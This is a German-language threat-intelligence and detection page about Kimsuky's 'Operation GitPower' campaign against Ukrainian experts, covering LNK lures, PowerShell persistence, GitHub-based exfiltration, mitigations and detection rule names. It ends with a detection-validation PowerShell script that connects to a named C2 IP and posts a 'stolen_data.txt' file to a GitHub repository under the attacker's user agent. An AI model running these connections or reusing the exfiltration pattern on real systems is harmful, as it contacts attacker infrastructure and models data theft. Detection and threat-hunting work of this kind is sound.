Operation GitPower: Kimsuky-Spionage gegen die Ukraine
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Kimsuky führt derzeit Cyber-Spionage gegen ukrainische Experten in Diplomatie, Sicherheit und internationaler Politik durch. Bekannt als Operation GitPower, basiert die Kampagne auf Reply-Baiting-Spear-Phishing und missbraucht legitime Entwicklungsplattformen wie GitHub, GitLab und Codeberg zur Bereitstellung von Malware. Die Angreifer haben auch begonnen, KI-Tools zu nutzen, um Lockdokumente zu erstellen und Angriffsprozesse zu automatisieren.
Untersuchung
Ermittler überprüften mehrere Angriffsphasen, einschließlich bösartiger LNK-Dateien, getarnt als PDFs, und gefälschter Zoom-Installationsprogramme. Sie verfolgten einen mehrstufigen Ausführungsablauf, in dem VBScript- und PowerShell-Skripte Persistenz durch geplante Aufgaben einrichteten. Die Gruppe verwendet festkodierte C2-Server und die GitHub-API, um Datenexfiltration durchzuführen.
Minderung
Organisationen sollten die EDR-Detektions- und Bedrohungsjagdfähigkeiten stärken, die auf den Missbrauch von LNK-Dateien, PowerShell und legitimen Cloud-Entwicklungsdiensten abzielen. Strenge Überwachung ungewöhnlicher geplanter Aufgaben und unautorisierter API-Aufrufe an GitHub und GitLab wird empfohlen. Benutzer sollten geschult werden, um raffinierte Reply-Baiting-Sozialtechniken zu erkennen.
Reaktion
Nach der Erkennung sollten die Reaktionskräfte betroffene Endpunkte isolieren, um eine weitere Datenexfiltration über die identifizierten TCP-C2- oder GitHub-Kanäle zu verhindern. Analysten sollten nach unautorisierten geplanten Aufgaben suchen und das Verzeichnis C:UsersPublic auf bösartige VBS/PS1-Dateien überprüfen. Es ist wichtig, LNK-Ausführungen mit späteren Netzwerkverbindungen zu legitimen Cloud-Diensten zu korrelieren.
Angriffsablauf
Wir aktualisieren diesen Teil noch.
Erkennungen
Mögliche bösartige LNK-Datei mit doppelter Erweiterung (über cmdline)
Powershell führt Datei in verdächtigem Verzeichnis aus, indem Umgehungsläufe ausgeführt werden (über cmdline)
Schtasks zeigt auf verdächtiges Verzeichnis / Binärdatei / Skript (über cmdline)
LOLBAS WScript / CScript (über process_creation)
Verdächtige Ausführung aus öffentlichem Benutzerprofil (über process_creation)
Verdächtige Verwendung von CURL (über cmdline)
Verdächtige Verwendung von Invoke-RestMethod (über powershell)
Rufen Sie verdächtige .NET-Methoden von Powershell auf (über powershell)
Möglicher GitHub-Dateidownload, initiiert durch ungewöhnlichen Prozess (über network_connection)
Verdächtige Dateien im öffentlichen Benutzerprofil (über file_event)
IOCs (HashMd5) zur Erkennung: Kimsukys Operation GitPower richtet sich gegen die Ukraine Teil 4
IOCs (HashMd5) zur Erkennung: Kimsukys Operation GitPower richtet sich gegen die Ukraine Teil 3
IOCs (HashMd5) zur Erkennung: Kimsukys Operation GitPower richtet sich gegen die Ukraine Teil 2
IOCs (HashMd5) zur Erkennung: Kimsukys Operation GitPower richtet sich gegen die Ukraine Teil 1
IOCs (SourceIP) zur Erkennung: Kimsukys Operation GitPower richtet sich gegen die Ukraine
IOCs (DestinationIP) zur Erkennung: Kimsukys Operation GitPower richtet sich gegen die Ukraine
Erkennung von TCP-C2-Verbindung und GitHub-basierter Exfiltration in Kimsuky-Aktivität [Windows-Netzwerkverbindung]
Erkennung der geplanten Aufgabe GoogleUpdateTaskMachineUA für bösartige Skriptausführung [Windows Sysmon]
LNK-Dateien zur Ausführung bösartiger PowerShell-Skripte mit Verschleierung und Persistenz verwendet [Windows-Prozesserstellung]
Simulation Ausführung
-
Angriffserzählung & Befehle: Der Gegner zielt darauf ab, eine Command-and-Control (C2)-Kommunikation herzustellen und sensible Daten über GitHub zu exfiltrieren. Zuerst stellt der Angreifer eine TCP-Verbindung zur hartkodierten C2-IP her
111.92.246.145auf Port12345um die Bereitschaft zu signalisieren. Zweitens verwendet der Angreifer, um eine Erkennung durch herkömmliches Datenüberwachungsmonitore zu vermeiden, einen „living-off-the-land“-Ansatz, indem er ein gestohlenes Dokument über die GitHub-Contents-API in ein GitHub-Repository hochlädt und speziell den Kimsuky User-Agent nachahmtGitHub-API/1.0. -
Regressionstest-Skript:
# Simulationsskript zur Validierung der Kimsuky-Erkennung Write-Host "[+] Starte Kimsuky-Simulation..." -ForegroundColor Cyan # 1. Simuliere C2-Verbindung (TCP 111.92.246.145:12345) Write-Host "[+] Versuche C2-Verbindung zu 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # Wir verwenden eine kurze Zeitüberschreitung, damit das Skript nicht hängt, falls die IP nicht erreichbar ist $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] Verbindung fehlgeschlagen (erwartete, wenn IP offline ist), aber die Telemetrie sollte dennoch durch Sysmon protokolliert werden." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] Fehler während C2-Simulation: $($_.Exception.Message)" -ForegroundColor Red } # 2. Simuliere GitHub-Exfiltration (POST an GitHub-API mit spezifischem Benutzer-Agent) Write-Host "[+] Versuche GitHub-API-Exfiltrationssimulation..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Exfiltriere Daten" "content" = "SGVsbG8gV29ybGQ=" # Base64 für "Hello World" } | ConvertTo-Json try { # Verwendung von -UserAgent, um die spezifische Erkennungslogik auszulösen Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] HTTP-Anfrage abgeschlossen (Erwartete 404/401 für falsche URL, aber Benutzer-Agent wurde gesendet)." -ForegroundColor Gray } Write-Host "[+] Simulation abgeschlossen." -ForegroundColor Cyan -
Bereinigungsbefehle:
# Durch dieses Simulationsskript wurden keine persistierenden Artefakte erstellt. # Wenn lokale Dateien für den Inhalt verwendet wurden, sollten sie gelöscht werden: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] Bereinigung abgeschlossen." -ForegroundColor Green